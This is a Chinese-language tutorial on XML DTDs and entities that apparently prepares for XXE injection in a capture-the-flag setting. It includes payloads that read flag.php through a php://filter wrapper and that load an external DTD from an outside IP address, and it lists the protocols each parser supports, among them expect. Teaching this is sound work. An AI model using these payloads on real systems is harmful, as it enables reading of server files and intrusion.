0x01:DTD 介绍

DTD:(Document Type Definition 即文档类型定义)的作用是定义 XML 文档的合法构建模块。用来为XML文档定义语义约束。DTD可以嵌入在XML文档中(内部声明) ,也可以外部引用。也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD 分为两类:

(1)内部声明DTD

  1. <!DOCTYPE 根元素 [元素声明]>

即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE note [
  3. <!ELEMENT note (to ,from,heading,body)>
  4. <!ELEMENT to (#PCDATA)>
  5. <!ELEMENT from(#PCDATA)>
  6. <!ELEMENT heading(#PCDATA)>
  7. <!ELEMENT body (#PCDATA)>
  8. ]>
  9. <note>
  10. <to> Tove</to>
  11. <from> avenue</from>
  12. <heading> Reminder</heading>
  13. <body>Don't forget me this weekend </body>
  14. </note>

(2)引用外部DTD

  1. !DOCTYPE 根元素 SYSTEM "文件名">
  2. <!DOCTYPE 根元素 PUBLIC "DTD名称" DTD文件的URL”>

外部文档声明: 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE定义中:
即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
image.png

DTD 数据类型:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
  • PCDATA: 被解析的字符数据(parsed character data)。PCDATA是会被解析的文本,这些文本会被解析器检查实体以及标记。
  • CDATA: 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。


0x02 DTD的实体(Entity)

XML预定义的实体引用

实体 代表的标签
< <
> >
"
'
& &

(1)实体介绍:

在XML中某些单独字符 如 引号“ ‘ & 和尖括号 都是不允许直接出现在XML文档中的 因为XML解析的时候会分辨不清这种输入到底是数值还是标签。

实体 Entity 是一种简单的存储单元 就好比xml变量一样 可以对它进行赋值 ,并在xml文档中不同的地方对它引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。

  1. 实体例子:
  2. <?xml version=’1.0’?> xml的一个版本信息
  3. <!DOCTYPE Person [
  4. <!ENTITY name “John”> ] ===>DTD(Document Type definition)
  5. ]> ]
  6. 这里通过DTD方式创建了一个ENTITY,实际上也是告知XML解析器这是一个DTD
  7. 定义类型,为了避免标签反复赋值,定义到了名为name的ENTITY中去,这在
  8. XML文档对该值的多处调用过程中会相对节省时间,提高效率
  9. <Person>
  10. <Name>&name;</Name>
  11. <Age>20</Age>
  12. </Person>

(2) DTD的实体类别介绍:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可以在内部或外部进行声明。
image.png

① 内部实体:

  1. <!ENTITY 实体名称 "实体的值">
  2. 示例:
  3. <!DOCTYPE note [
  4. <!ENTITY a "admin">
  5. ]>
  6. <note>&a</note>
  7. <!-- admin -->

② 外部实体

  1. <!ENTITY 实体名称 SYSTEM "URL">
  2. 示例:
  3. <!DOCTYPE note> [
  4. <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
  5. ]>
  6. <note>&c</note>
  7. <!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

③ 参数实体

  1. <!ENTITY %实体名称 "值"> or <!ENTITY %实体名称 SYSTEM "URL">
  2. 示例:
  3. <!DOCTYPE note> [
  4. <!ENTITY % b "<!ENTITY b1 "awsl">">
  5. %b;
  6. ]>
  7. <note>&b1</note>
  8. <!-- awsl -->
  9. 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  10. 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

④ 外部参数实体

  1. <!DOCTYPE note> [
  2. <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
  3. %d;
  4. ]>
  5. <note>&d1</note>
  6. <!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
  7. http://47.106.143.26/xml.dtd
  8. <!-- http://47.106.143.26/xml.dtd -->
  9. <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

0x03 XML中的协议支持

同语言的协议支持

libxml2 PHP Java NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

PHP支持的扩展协议

扩展协议 需要扩展
https openssl
ftps
zip zip
ssh2.shell ssh2
ssh2.exec
ssh2.tunnel
ssh2.sftp
ssh2.scp
rar rar
ogg oggvorbis
expect expect